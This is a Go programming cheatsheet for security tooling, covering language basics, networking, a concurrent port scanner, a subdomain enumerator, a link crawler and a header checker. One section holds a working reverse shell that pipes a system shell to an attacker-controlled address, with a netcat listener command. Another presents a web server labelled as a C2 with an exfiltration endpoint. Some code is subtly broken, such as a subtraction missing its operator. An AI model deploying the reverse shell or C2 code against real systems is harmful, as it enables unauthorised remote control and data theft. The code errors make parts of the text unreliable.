Skip to content

Go

Go Gopher

Go is Google's answer to "C++ is too complex, Python is too slow, and Java is too verbose." It compiles to native binaries, has built in concurrency, and keeps things simple.

Why Go for Security Tools:

When you need performance (network tools, port scanners, proxies), Go delivers. When you need concurrency (handling thousands of connections), Go makes it easy. When you need to distribute a single binary (no dependencies, no runtime), Go compiles everything in. Many modern security tools are written in Go: Nuclei, Chisel, Feroxbuster, and more.

Go's Design Philosophy:

Go was designed with simplicity in mind. No generics (until recently), no exceptions, no inheritance just interfaces, structs, and functions. This simplicity means: - Easy to read code (even if you don't know Go) - Fast compilation (seconds, not minutes) - Predictable performance (garbage collection, but tuned for low latency) - Built in concurrency (goroutines and channels make parallelism natural)

This Cheatsheet's Structure:

We'll move fast through fundamentals, then focus on what makes Go valuable for security work: - Networking (HTTP, TCP, UDP essential for security tools) - Concurrency (goroutines for parallel scanning, concurrent processing) - System interaction (processes, command execution) - Secure coding practices (avoiding common pitfalls) - Practical examples (port scanners, web crawlers, proxies)

If you're building security tools that need performance and simplicity, Go is worth learning.

Table of Contents

Part 1: Go Fundamentals

This is where we build our foundation. Go is famously simple, but "simple" doesn't mean "powerless." Let's get the basics down cold.

1. Basic Syntax & Structure

Every Go program is made up of packages. The main package is the special one that tells the Go compiler to create an executable file. The main function inside the main package is the entry point of that executable.

// This is a single line comment.

/*
This is a multi line comment.
It's useful for longer explanations.
*/

// Every Go file starts with a package declaration.
package main

// The import statement lists the packages this file uses.
import "fmt" // A standard library package for formatted I/O.

// The main function is where the program execution begins.
func main() {
    // We're calling the Println function from the fmt package.
    // It prints a line of text to the console.
    fmt.Println("Hello, Gopher!")
}

Key Takeaways:

  • package main is required for an executable program.
  • func main() is the starting point.
  • import "pkg" brings in code from other packages.
  • Go has a strong emphasis on readability. The gofmt tool automatically formats your code to keep it consistent. Use it. Love it.

2. Variables, Types, and Pointers (the safe-kind!)

Go is a statically typed language. That means you declare the type of a variable, and it can only hold data of that type. This catches a lot of bugs at compile time!

Declaring Variables

There are a few ways to declare variables in Go.

package main

import "fmt"

func main() {
    // The `var` keyword declares a variable.
    // `var <name> <type>`
    var score int
    score = 100
    fmt.Println("Score:", score)

    // You can declare and initialize at the same time.
    // `var <name> <type> = <value>`
    var health int = 100
    fmt.Println("Health:", health)

    // If you provide an initial value, Go can infer the type.
    var mana = 50 // Go knows this is an int.
    fmt.Println("Mana:", mana)

    // Inside a function, you can use the `:=` short assignment statement.
    // This is the most common way to declare variables in Go.
    // It infers the type and assigns the value.
    isAlive := true // Go knows this is a bool.
    fmt.Println("Alive?:", isAlive)

    // You can declare multiple variables at once.
    var (
        x int = 1
        y int = 2
    )
    fmt.Println("x, y:", x, y)

    // Or with short assignment...
    a, b := 10, "hello"
    fmt.Println("a, b:", a, b)
}

Basic Types

Go has all the usual suspects for basic types.

  • Booleans: bool (true or false)
  • Integers:
    • Signed: int, int8, int16, int32, int64
    • Unsigned: uint, uint8 (also known as byte), uint16, uint32, uint64
    • int and uint are platform dependent (32 or 64 bits). For security, it's often better to use fixed size types like int32 or int64.
  • Floating Point: float32, float64
  • Complex Numbers: complex64, complex128 (You probably won't use these in security, but they're cool!)
  • Strings: string
    • Go strings are immutable sequences of bytes. They are UTF-8 encoded by default.
package main

import "fmt"

func main() {
    var name string = "0x1RIS"
    var version float64 = 1.1
    var isAwesome bool = true

    fmt.Println("Name:", name)
    fmt.Println("Version:", version)
    fmt.Println("Is Awesome?:", isAwesome)
}

Pointers

If you're coming from C/C++, take a deep breath. Pointers in Go are simpler and safer.

  • A pointer holds the memory address of a value.
  • You cannot perform pointer arithmetic (e.g., ptr++). This eliminates a whole class of bugs and vulnerabilities.
  • The zero value of a pointer is nil.
package main

import "fmt"

func main() {
    // Let's start with a normal variable.
    power := 9000

    // Now, let's create a pointer to it.
    // `&` is the "address of" operator.
    powerPtr := &power

    fmt.Println("Original power:", power)
    fmt.Println("Memory address of power:", powerPtr)

    // To read the value at the address, we "dereference" the pointer.
    // `*` is the "value at" operator.
    fmt.Println("Value at the address:", *powerPtr)

    // We can change the original value through the pointer.
    *powerPtr = 9001
    fmt.Println("New power:", power) // The original `power` variable has changed!
}

Pointers are mainly used in Go to: 1. Allow a function to modify a value that was passed to it. 2. Avoid copying large data structures, which can improve performance.

3. Control Flow (if, for,-switch)

Go's control flow is clean and simple. There are no parentheses around the conditions, and the curly braces {} are always required.

if / else

The if statement in Go can include a short initialization statement, which is super handy.

package main

import "fmt"

func main() {
    // A basic if/else.
    score := 80
    if score > 90 {
        fmt.Println("Excellent!")
    } else if score > 70 {
        fmt.Println("Good job.")
    } else {
        fmt.Println("Needs improvement.")
    }

    // `if` with a short statement.
    // The `err` variable is only in scope within the `if/else` block.
    if err := someFunctionThatCanFail(); err != nil {
        fmt.Println("Oh no, something failed:", err)
        // Handle the error
    } else {
        fmt.Println("Success!")
    }
}

func someFunctionThatCanFail() error {
    // For this example, we'll just return nil (no error).
    return nil
}

for

Go has only one looping construct: the for loop. It's versatile and can be used in several ways.

package main

import "fmt"

func main() {
    // 1. The C-style `for` loop.
    fmt.Println("C-style loop:")
    for i := 0; i < 5; i++ {
        fmt.Print(i, " ")
    }
    fmt.Println()

    // 2. The "while" loop.
    // Go doesn't have a `while` keyword; you just use `for` with a condition.
    fmt.Println("\n'While' style loop:")
    n := 0
    for n < 5 {
        fmt.Print(n, " ")
        n++
    }
    fmt.Println()

    // 3. The infinite loop.
    // for {
    //     fmt.Println("This will run forever!")
    //     // Use `break` to exit.
    // }

    // 4. The `for...range` loop.
    // This is used to iterate over slices, arrays, strings, maps, and channels.
    fmt.Println("\n'for...range' on a slice:")
    nums := []string{"one", "two", "three"}
    for index, value := range nums {
        fmt.Printf("Index: %d, Value: %s\n", index, value)
    }

    // If you don't need the index, you can ignore it with the blank identifier `_`.
    fmt.Println("\n'for...range' ignoring the index:")
    for _, value := range nums {
        fmt.Println("Value:", value)
    }
}

switch

Go's switch statement is more powerful than in many other languages.

  • Cases don't "fall through" by default (no break needed).
  • You can switch on values that aren't just integers.
  • You can have a switch with no expression, which is like a clean if/else chain.
package main

import (
    "fmt"
    "runtime"
)

func main() {
    // A basic switch.
    os := runtime.GOOS
    fmt.Print("Go is running on: ")
    switch os {
    case "darwin":
        fmt.Println("macOS.")
    case "linux":
        fmt.Println("Linux.")
    case "windows":
        fmt.Println("Windows.")
    default:
        // This will run if no other case matches.
        fmt.Printf("%s.\n", os)
    }

    // Switch with no expression.
    score := 75
    switch {
    case score >= 90:
        fmt.Println("Grade: A")
    case score >= 80:
        fmt.Println("Grade: B")
    case score >= 70:
        fmt.Println("Grade: C")
    default:
        fmt.Println("Grade: F")
    }
}

4. Functions & Packages

Functions are the building blocks of Go programs. They are declared with the func keyword.

package main

import "fmt"

// A simple function that takes two integers and returns their sum.
// func <name>(<params>) <return_type>
func add(x int, y int) int {
    return x + y
}

// When two or more consecutive parameters share a type,
// you can omit the type from all but the last one.
func subtract(x, y int) int {
    return x y
}

// Functions can return multiple values.
// This is idiomatic in Go, especially for returning a value and an error.
func divide(x, y float64) (float64, error) {
    if y == 0 {
        // Create a new error object.
        return 0, fmt.Errorf("cannot divide by zero")
    }
    return x / y, nil // nil means no error occurred.
}

func main() {
    sum := add(10, 20)
    fmt.Println("10 + 20 =", sum)

    diff := subtract(20, 10)
    fmt.Println("20 10 =", diff)

    // When calling a function with multiple return values,
    // you must handle all of them.
    result, err := divide(10, 2)
    if err != nil {
        fmt.Println("Error:", err)
    } else {
        fmt.Println("10 / 2 =", result)
    }

    // If you don't care about one of the return values,
    // you can discard it with the blank identifier `_`.
    _, err = divide(10, 0)
    if err != nil {
        fmt.Println("Error:", err)
    }
}

Packages

A package is a collection of Go source files in the same directory that are compiled together.

  • Functions, types, variables, and constants defined in one source file are visible to all other source files within the same package.
  • To make something visible outside its package (i.e., to "export" it), you capitalize its name.

Example:

In the fmt package, Println is capitalized, so we can use it in our main package. If it were named println, it would be private to the fmt package.

This is a core concept in Go: Capitalization determines visibility.

5. Structs and Interfaces

Go is not a traditional object oriented language. It doesn't have classes or inheritance. Instead, it has structs for holding data and interfaces for defining behavior.

Structs

A struct is a typed collection of fields. It's useful for grouping data together to form records.

package main

import "fmt"

// Define a new struct type called `Target`.
// It has three fields: Host (string), Port (int), and IsVulnerable (bool).
type Target struct {
    Host         string
    Port         int
    IsVulnerable bool
}

func main() {
    // Create a new instance of the Target struct.
    t1 := Target{
        Host:         "127.0.0.1",
        Port:         8080,
        IsVulnerable: false,
    }

    fmt.Println("Target 1 Host:", t1.Host)
    fmt.Println("Target 1 Port:", t1.Port)

    // You can also create a pointer to a struct.
    t2 := &Target{Host: "10.0.0.5", Port: 443}

    // Go automatically dereferences pointers for struct field access.
    // So, `t2.Host` is equivalent to `(*t2).Host`. This is just for convenience.
    fmt.Println("Target 2 Host:", t2.Host)

    // You can attach methods to struct types.
    // A method is a function with a special "receiver" argument.
    t1.PrintInfo()
    t2.MarkVulnerable()
    t2.PrintInfo()
}

// This is a method for the `Target` type.
// The `(t Target)` part is the receiver. It means the method operates on
// a `Target` value.
func (t Target) PrintInfo() {
    fmt.Printf("Target: %s:%d, Vulnerable: %v\n", t.Host, t.Port, t.IsVulnerable)
}

// To modify the struct within a method, the receiver must be a pointer.
func (t *Target) MarkVulnerable() {
    t.IsVulnerable = true
}

Interfaces

An interface is a collection of method signatures. A type "implements" an interface by implementing all the methods in the interface. There is no implements keyword; the implementation is implicit.

This is one of Go's most powerful features. It allows for great flexibility and decoupling of code.

package main

import (
    "fmt"
    "math"
)

// Define an interface called `Shape`.
// Any type that has a method `Area() float64` will implicitly implement this interface.
type Shape interface {
    Area() float64
}

// Define a `Circle` struct.
type Circle struct {
    Radius float64
}

// Implement the `Area` method for `Circle`.
// Now, `Circle` satisfies the `Shape` interface.
func (c Circle) Area() float64 {
    return math.Pi * c.Radius * c.Radius
}

// Define a `Rectangle` struct.
type Rectangle struct {
    Width, Height float64
}

// Implement the `Area` method for `Rectangle`.
// Now, `Rectangle` also satisfies the `Shape` interface.
func (r Rectangle) Area() float64 {
    return r.Width * r.Height
}

// This function can take any type that implements the `Shape` interface.
func PrintShapeArea(s Shape) {
    fmt.Printf("The area of the shape is: %0.2f\n", s.Area())
}

func main() {
    c := Circle{Radius: 5}
    r := Rectangle{Width: 10, Height: 4}

    // We can pass both a Circle and a Rectangle to the same function,
    // because they both implement the Shape interface.
    PrintShapeArea(c)
    PrintShapeArea(r)
}

6. Error Handling (the if err != nil-dance)

Go handles errors by returning an error value as the last return value of a function. nil means success, and a non-nil value means something went wrong.

This pattern, if err != nil, is ubiquitous in Go code. Some people find it repetitive, but it makes error handling explicit and easy to follow.

package main

import (
    "fmt"
    "os"
)

func main() {
    // os.Open returns a file pointer and an error.
    file, err := os.Open("non_existent_file.txt")

    // The first thing we do is check if an error occurred.
    if err != nil {
        // If so, we handle it. Maybe we log it, maybe we exit.
        fmt.Println("Error opening file:", err)
        // In a real program, you might do `return` or `os.Exit(1)` here.
    } else {
        // If err is nil, we can safely use the `file` variable.
        fmt.Println("File opened successfully:", file.Name())
        file.Close()
    }

    // The `defer` statement.
    // `defer` schedules a function call to be run immediately before
    // the function executing the `defer` returns.
    // It's perfect for cleanup tasks, like closing a file.

    f, err := os.Open("go.mod") // Assuming this file exists
    if err != nil {
        fmt.Println("Error:", err)
        return
    }
    // This will run no matter how the function exits (return, panic, etc.).
    defer f.Close()

    fmt.Println("File", f.Name(), "opened. It will be closed automatically at the end of main.")
    // ... do something with the file ...
}

Best Practices for Errors:

  • Don't discard errors with _ unless you are absolutely certain you don't care about the result.
  • Handle errors as close to where they occur as possible.
  • Use defer for cleanup to make your code more robust.

7. Goroutines & Channels (Go's magic-trick)

This is what makes Go famous: its incredibly simple and powerful concurrency model.

  • A goroutine is a lightweight thread managed by the Go runtime.
  • Channels are the pipes that connect concurrent goroutines. You can send and receive values from channels.

Starting a goroutine is as simple as adding the go keyword before a function call.

package main

import (
    "fmt"
    "time"
)

func say(s string) {
    for i := 0; i < 3; i++ {
        fmt.Println(s)
        time.Sleep(100 * time.Millisecond)
    }
}

func main() {
    // Start a new goroutine.
    // The `say("World")` function will execute concurrently with the `main` function.
    go say("World")

    // The `main` function continues executing here.
    say("Hello")

    // If `main` finishes, the program exits, and any running goroutines are killed.
    // In a real program, you'd use channels or a WaitGroup to wait for goroutines to finish.
}

Channels

Channels allow you to send and receive values between goroutines, providing a safe way to communicate.

package main

import (
    "fmt"
    "time"
)

// This function will do some "work" and then send a result on a channel.
// The channel `c` is typed to only accept strings.
func worker(c chan string) {
    fmt.Println("Worker starting...")
    time.Sleep(2 * time.Second) // Simulate work
    fmt.Println("Worker finished.")

    // Send a value into the channel.
    c <- "Work complete!"
}

func main() {
    // Create a new channel.
    messages := make(chan string)

    // Start a worker in a new goroutine, passing it the channel.
    go worker(messages)

    fmt.Println("Main function is waiting for a message from the worker...")

    // Receive a value from the channel.
    // This is a blocking operation. The `main` function will pause here
    // until a value is sent into the `messages` channel.
    msg := <-messages

    fmt.Println("Message received in main:", msg)
}

Concurrency is a huge topic, but this is the core of it in Go. The mantra is: "Do not communicate by sharing memory; instead, share memory by communicating."

Part 2: The Security Gopher's Toolkit

Now for the fun stuff. Let's see how to use Go for common security tasks.

8. Basic Networking: HTTP & TCP

Go's net package is a masterpiece. It makes networking tasks a breeze.

Making HTTP Requests

The net/http package provides a rich set of tools for working with HTTP.

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "time"
)

func main() {
    // The default client is fine for simple requests.
    simpleGET()

    // For more control (like setting timeouts), create a custom client.
    customGET()
}

func simpleGET() {
    fmt.Println("--- Simple GET ---")
    resp, err := http.Get("https://httpbin.org/get")
    if err != nil {
        fmt.Println("HTTP request failed:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Status Code:", resp.StatusCode)

    body, _ := ioutil.ReadAll(resp.Body)
    fmt.Println("Response Body (first 100 bytes):", string(body[:100]))
}

func customGET() {
    fmt.Println("\n--- Custom GET with Timeout ---")
    // Create a custom client with a 5-second timeout.
    client := &http.Client{
        Timeout: 5 * time.Second,
    }

    // Create a request object. This gives you more control.
    req, err := http.NewRequest("GET", "https://httpbin.org/delay/3", nil)
    if err != nil {
        fmt.Println("Failed to create request:", err)
        return
    }

    // You can set custom headers.
    req.Header.Set("User-Agent", "Go-Security-Cheatsheet/1.0")
    req.Header.Set("Accept", "application/json")

    // Execute the request using our custom client.
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("HTTP request failed:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Status Code:", resp.StatusCode)
    body, _ := ioutil.ReadAll(resp.Body)
    fmt.Println("Response Body:", string(body))
}

Raw TCP

Sometimes you need to get closer to the metal. net.Dial is your tool for raw TCP connections.

package main

import (
    "bufio"
    "fmt"
    "net"
    "time"
)

// grabBanner connects to a host and port and tries to read the first line of the response.
func grabBanner(host string, port int) {
    address := fmt.Sprintf("%s:%d", host, port)
    fmt.Printf("Connecting to %s...\n", address)

    // Dial with a timeout. Always use timeouts for network operations!
    conn, err := net.DialTimeout("tcp", address, 3*time.Second)
    if err != nil {
        fmt.Println("Failed to connect:", err)
        return
    }
    defer conn.Close()

    fmt.Println("Connected!")

    // Set a deadline for reading from the connection.
    conn.SetReadDeadline(time.Now().Add(3 * time.Second))

    // Use a buffered reader to easily read line by line.
    reader := bufio.NewReader(conn)
    banner, err := reader.ReadString('\n')
    if err != nil {
        fmt.Println("Failed to read banner:", err)
        return
    }

    fmt.Printf("Banner: %s", banner)
}

func main() {
    // Let's try to grab the banner from a known service.
    // `scan.nmap.org` is a host made for testing scanners.
    grabBanner("scan.nmap.org", 22) // SSH port
}

9. DNS Lookups

The net package also provides powerful and easy to use functions for DNS reconnaissance.

package main

import (
    "fmt"
    "net"
)

func main() {
    domain := "example.com"

    fmt.Printf("--- DNS Records for %s ---\n", domain)

    // A records (IPv4)
    ips, err := net.LookupHost(domain)
    if err == nil {
        fmt.Println("A Records (IPs):", ips)
    }

    // CNAME record
    cname, err := net.LookupCNAME(domain)
    if err == nil {
        fmt.Println("CNAME:", cname)
    }

    // MX records (Mail Exchange)
    mxs, err := net.LookupMX(domain)
    if err == nil {
        fmt.Println("MX Records:")
        for _, mx := range mxs {
            fmt.Printf("  Host: %s, Preference: %d\n", mx.Host, mx.Pref)
        }
    }

    // TXT records (often used for SPF, DKIM, etc.)
    txts, err := net.LookupTXT(domain)
    if err == nil {
        fmt.Println("TXT Records:", txts)
    }
}

10. Working with UDP

While TCP is more common for web traffic, UDP is essential for services like DNS, NTP, and many gaming protocols. It's connectionless, meaning you just send packets without establishing a session.

package main

import (
    "fmt"
    "net"
    "time"
)

func main() {
    // A simple UDP server
    go udpServer()
    // Give the server a moment to start
    time.Sleep(500 * time.Millisecond)
    // A simple UDP client
    udpClient()
}

func udpServer() {
    // Listen on a UDP port
    addr, _ := net.ResolveUDPAddr("udp", ":12345")
    conn, err := net.ListenUDP("udp", addr)
    if err != nil {
        panic(err)
    }
    defer conn.Close()
    fmt.Println("UDP server listening on :12345")

    buffer := make([]byte, 1024)
    for {
        // Read from the UDP connection
        n, remoteAddr, err := conn.ReadFromUDP(buffer)
        if err != nil {
            fmt.Println("Error reading from UDP:", err)
            continue
        }
        fmt.Printf("Server received '%s' from %s\n", string(buffer[:n]), remoteAddr)

        // Echo the message back to the client
        _, err = conn.WriteToUDP([]byte("Echo: "+string(buffer[:n])), remoteAddr)
        if err != nil {
            fmt.Println("Error writing to UDP:", err)
        }
    }
}

func udpClient() {
    // Resolve the server address
    serverAddr, _ := net.ResolveUDPAddr("udp", "127.0.0.1:12345")
    // Dialing a UDP connection isn't strictly necessary but can be convenient
    conn, err := net.DialUDP("udp", nil, serverAddr)
    if err != nil {
        panic(err)
    }
    defer conn.Close()

    // Send a message
    _, err = conn.Write([]byte("Hello UDP Server!"))
    if err != nil {
        fmt.Println("Error sending message:", err)
        return
    }
    fmt.Println("Client sent message.")

    // Wait for a response
    buffer := make([]byte, 1024)
    conn.SetReadDeadline(time.Now().Add(2 * time.Second))
    n, err := conn.Read(buffer)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Printf("Client received: '%s'\n", string(buffer[:n]))
}

11. Building a Simple Web Server

Need to serve some files, create a quick API endpoint for exfiltration, or build a C2 server? Go's standard library is all you need.

package main

import (
    "encoding/json"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "time"
)

// A logging middleware that wraps another handler.
// This is a common pattern in Go web development.
func loggingMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        start := time.Now()
        log.Printf("Started %s %s from %s", r.Method, r.URL.Path, r.RemoteAddr)

        // Call the next handler in the chain.
        next.ServeHTTP(w, r)

        log.Printf("Completed in %v", time.Since(start))
    })
}

// A simple handler for the root path.
func rootHandler(w http.ResponseWriter, r *http.Request) {
    // Set the content type header.
    w.Header().Set("Content-Type", "text/plain")
    // Write the response.
    fmt.Fprintln(w, "Welcome to the Go C2 server!")
    fmt.Fprintln(w, "Use /status for status and /exfil to post data.")
}

// A handler that returns a JSON status.
func statusHandler(w http.ResponseWriter, r *http.Request) {
    // A struct to hold our status data.
    // The `json:"..."` tags control how the struct fields are named in the JSON output.
    type Status struct {
        ServerTime time.Time `json:"server_time"`
        Status     string    `json:"status"`
    }

    status := Status{
        ServerTime: time.Now(),
        Status:     "All systems nominal.",
    }

    // Set the content type to JSON.
    w.Header().Set("Content-Type", "application/json")
    // Encode the struct to JSON and write it to the response.
    json.NewEncoder(w).Encode(status)
}

// A handler to receive exfiltrated data.
func exfilHandler(w http.ResponseWriter, r *http.Request) {
    // We only accept POST requests here.
    if r.Method != http.MethodPost {
        http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
        return
    }

    // Read the body of the request.
    body, err := ioutil.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Error reading request body", http.StatusInternalServerError)
        return
    }

    // For this example, we'll just log the data.
    // In a real C2, you'd save it to a file or database.
    log.Printf("--- EXFIL DATA RECEIVED ---\n%s\n---------------------------\n", string(body))

    // Respond with a success message.
    w.WriteHeader(http.StatusOK)
    fmt.Fprintln(w, "Data received.")
}

func main() {
    // Create a new ServeMux (router).
    mux := http.NewServeMux()

    // Register our handlers.
    mux.HandleFunc("/", rootHandler)
    mux.HandleFunc("/status", statusHandler)
    mux.HandleFunc("/exfil", exfilHandler)

    // Wrap our router with the logging middleware.
    loggedMux := loggingMiddleware(mux)

    port := ":8080"
    log.Printf("Starting server on port %s", port)

    // Start the server.
    if err := http.ListenAndServe(port, loggedMux); err != nil {
        log.Fatalf("Server failed to start: %v", err)
    }
}

12. Spawning and Controlling Processes

The os/exec package is your gateway to running external commands. It's powerful but must be used with extreme care to avoid command injection vulnerabilities (more on that in Part 4).

package main

import (
    "bytes"
    "fmt"
    "log"
    "os/exec"
    "strings"
)

func main() {
    // Example 1: Simple command execution.
    // Run `whoami` and capture its output.
    cmd := exec.Command("whoami")
    output, err := cmd.CombinedOutput() // CombinedOutput gets both stdout and stderr.
    if err != nil {
        log.Fatalf("`whoami` failed: %v", err)
    }
    fmt.Printf("`whoami` output: %s\n", strings.TrimSpace(string(output)))

    // Example 2: Piped commands.
    // This is the Go equivalent of `ps aux | grep 'go'`.
    fmt.Println("\n--- Piped Command ---")
    psCmd := exec.Command("ps", "aux")
    grepCmd := exec.Command("grep", "go")

    // Get the output of `ps` and set it as the input for `grep`.
    psOutput, err := psCmd.Output()
    if err != nil {
        log.Fatalf("`ps` failed: %v", err)
    }
    grepCmd.Stdin = bytes.NewReader(psOutput)

    // Run `grep` and get its output.
    grepOutput, err := grepCmd.CombinedOutput()
    if err != nil {
        // `grep` returns a non zero exit code if it finds no matches,
        // which `CombinedOutput` treats as an error. We can ignore that specific case.
        if exitErr, ok := err.(*exec.ExitError); ok && exitErr.ExitCode() == 1 {
            fmt.Println("No 'go' processes found.")
        } else {
            log.Fatalf("`grep` failed: %v", err)
        }
    } else {
        fmt.Printf("Found 'go' processes:\n%s", string(grepOutput))
    }
}

13. The Classic Reverse Shell

A pentester's bread and butter. With Go, it's shockingly simple. Warning: This is for educational purposes. Don't be evil.

package main

import (
    "net"
    "os/exec"
    "runtime"
)

func main() {
    // The attacker's IP and port.
    attackerAddress := "127.0.0.1:4444" // CHANGE THIS

    // Connect back to the attacker's machine.
    conn, err := net.Dial("tcp", attackerAddress)
    if err != nil {
        // If we can't connect, just exit silently.
        return
    }

    // Determine which shell to use based on the OS.
    var shell string
    if runtime.GOOS == "windows" {
        shell = "powershell.exe"
    } else {
        shell = "/bin/sh" // or "/bin/bash"
    }

    // Create a shell command.
    cmd := exec.Command(shell)

    // Redirect the shell's standard input, output, and error streams
    // to the network connection. It's like plumbing!
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn

    // Run the command. This will block until the shell exits.
    cmd.Run()
}

To catch this shell, you can use a simple netcat listener on your attacker machine: nc -lvnp 4444.

Part 3: Practical Scripts & Snippets

Let's build some slightly more complex tools.

14. A Speedy Port Scanner

Our first port scanner was slow because it scanned one port at a time. We can use goroutines and channels to scan multiple ports concurrently.

package main

import (
    "fmt"
    "net"
    "sort"
    "time"
)

func main() {
    host := "127.0.0.1"
    startPort := 1
    endPort := 1024
    timeout := 500 * time.Millisecond

    // A channel to receive the results (open ports).
    openPorts := make(chan int)
    // A channel to act as a semaphore to limit concurrency.
    // The size of the channel buffer determines how many goroutines can run at once.
    semaphore := make(chan struct{}, 100)

    fmt.Printf("Scanning ports %d-%d on %s...\n", startPort, endPort, host)

    // Start a goroutine for each port we want to scan.
    for port := startPort; port <= endPort; port++ {
        // Acquire a spot in the semaphore. This will block if the semaphore is full.
        semaphore <- struct{}{}

        go func(p int) {
            // Release the spot in the semaphore when the goroutine finishes.
            defer func() { <-semaphore }()

            address := fmt.Sprintf("%s:%d", host, p)
            conn, err := net.DialTimeout("tcp", address, timeout)
            if err == nil {
                conn.Close()
                // Send the open port number to the results channel.
                openPorts <- p
            }
        }(port)
    }

    // A slice to store the results.
    var results []int
    // A channel to signal when we're done collecting results.
    done := make(chan struct{})

    // Start a goroutine to collect results from the openPorts channel.
    go func() {
        for port := range openPorts {
            results = append(results, port)
        }
        // Signal that we're done.
        done <- struct{}{}
    }()

    // Wait for all port scanning goroutines to finish by filling the semaphore.
    for i := 0; i < cap(semaphore); i++ {
        semaphore <- struct{}{}
    }

    // Close the openPorts channel. This will cause the result collection goroutine to finish.
    close(openPorts)
    // Wait for the result collection to finish.
    <-done

    // Sort the results and print them.
    sort.Ints(results)
    fmt.Println("\nOpen ports:")
    for _, port := range results {
        fmt.Println(port)
    }
}

15. Subdomain Enumerator

Let's improve our subdomain enumerator to use a wordlist and concurrency.

package main

import (
    "bufio"
    "fmt"
    "net/http"
    "os"
    "sync"
)

func main() {
    target := "example.com" // Change this to your target
    wordlistPath := "/usr/share/wordlists/subdomains.txt" // Change this to your wordlist path

    file, err := os.Open(wordlistPath)
    if err != nil {
        fmt.Printf("Failed to open wordlist: %v\n", err)
        return
    }
    defer file.Close()

    // A WaitGroup is another way to wait for goroutines to finish.
    var wg sync.WaitGroup
    // A channel to pass subdomains to our worker goroutines.
    subdomainChan := make(chan string, 100)

    // Start worker goroutines.
    numWorkers := 50
    for i := 0; i < numWorkers; i++ {
        wg.Add(1)
        go func() {
            defer wg.Done()
            // Process subdomains from the channel until it's closed.
            for sub := range subdomainChan {
                url := fmt.Sprintf("http://%s.%s", sub, target)
                // We're ignoring errors for this simple example.
                // A real tool would check for specific DNS errors vs. HTTP errors.
                resp, err := http.Head(url) // Use HEAD for a faster check
                if err == nil {
                    fmt.Printf("[+] Found: %-30s [Status: %s]\n", url, resp.Status)
                    resp.Body.Close()
                }
            }
        }()
    }

    // Read the wordlist and send each subdomain to the channel.
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        subdomainChan <- scanner.Text()
    }

    // Close the channel to signal to the workers that there's no more work.
    close(subdomainChan)

    // Wait for all workers to finish.
    wg.Wait()

    fmt.Println("Subdomain scan complete.")
}

This script fetches a webpage, parses the HTML, and extracts all the links, resolving them to absolute URLs. This is a fundamental building block for many recon tools.

First, get the html package: go get golang.org/x/net/html

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "os"
    "strings"

    "golang.org/x/net/html"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s <URL>\n", os.Args[0])
        os.Exit(1)
    }
    startURL := os.Args[1]

    links, err := extractLinks(startURL)
    if err != nil {
        fmt.Fprintf(os.Stderr, "Error crawling %s: %v\n", startURL, err)
        os.Exit(1)
    }

    fmt.Printf("Links found on %s:\n", startURL)
    for _, link := range links {
        fmt.Println(" -", link)
    }
}

func extractLinks(rawURL string) ([]string, error) {
    // Make an HTTP GET request
    resp, err := http.Get(rawURL)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return nil, fmt.Errorf("getting %s: %s", rawURL, resp.Status)
    }

    // Parse the response body as HTML
    doc, err := html.Parse(resp.Body)
    if err != nil {
        return nil, fmt.Errorf("parsing %s as HTML: %v", rawURL, err)
    }

    var links []string
    // A recursive function to traverse the HTML node tree
    var visitNode func(*html.Node)
    visitNode = func(n *html.Node) {
        if n.Type == html.ElementNode && n.Data == "a" {
            for _, a := range n.Attr {
                if a.Key == "href" {
                    // Resolve the link relative to the base URL
                    link, err := resp.Request.URL.Parse(a.Val)
                    if err == nil {
                        // Add the link if it's not already in our list
                        if !contains(links, link.String()) {
                            links = append(links, link.String())
                        }
                    }
                }
            }
        }
        // Traverse children
        for c := n.FirstChild; c != nil; c = c.NextSibling {
            visitNode(c)
        }
    }
    visitNode(doc)
    return links, nil
}

func contains(slice []string, item string) bool {
    for _, s := range slice {
        if s == item {
            return true
        }
    }
    return false
}

17. HTTP Security Header Checker

This tool connects to a URL and checks for the presence of common, important HTTP security headers.

package main

import (
    "fmt"
    "net/http"
    "os"
    "strings"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s <URL>\n", os.Args[0])
        os.Exit(1)
    }
    targetURL := os.Args[1]

    // Ensure URL has a scheme
    if !strings.HasPrefix(targetURL, "http") {
        targetURL = "https://" + targetURL
    }

    fmt.Printf("Checking security headers for %s...\n\n", targetURL)

    resp, err := http.Get(targetURL)
    if err != nil {
        fmt.Fprintf(os.Stderr, "Error fetching URL: %v\n", err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    // Headers to check for
    headers := []string{
        "Strict-Transport-Security",
        "Content-Security-Policy",
        "X-Frame-Options",
        "X-Content-Type-Options",
        "Referrer-Policy",
        "Permissions-Policy",
    }

    fmt.Println("--- Header Analysis ---")
    for _, h := range headers {
        value := resp.Header.Get(h)
        if value == "" {
            fmt.Printf("[MISSING] %s\n", h)
        } else {
            fmt.Printf("[PRESENT] %s: %s\n", h, value)
        }
    }

    // Check for information disclosure headers
    fmt.Println("\n--- Information Disclosure ---")
    infoHeaders := []string{"Server", "X-Powered-By", "X-AspNet-Version"}
    for _, h := range infoHeaders {
        value := resp.Header.Get(h)
        if value != "" {
            fmt.Printf("[INFO] %s: %s\n", h, value)
        }
    }
}

Part 4: Secure Coding in Go

Go's design, particularly its type safety and memory management, prevents many security flaws common in languages like C and C++. However, no language is a magic wand. You can still write insecure code in Go if you're not careful. Let's look at the most common pitfalls and how to avoid them.

18. Input Validation

The Golden Rule: Never trust user input. This applies to data from web forms, API requests, files, databases, environment variables—anything that originates outside your program's control.

Validating with Regular Expressions

The regexp package is your best friend for validating string formats.

package main

import (
    "fmt"
    "regexp"
)

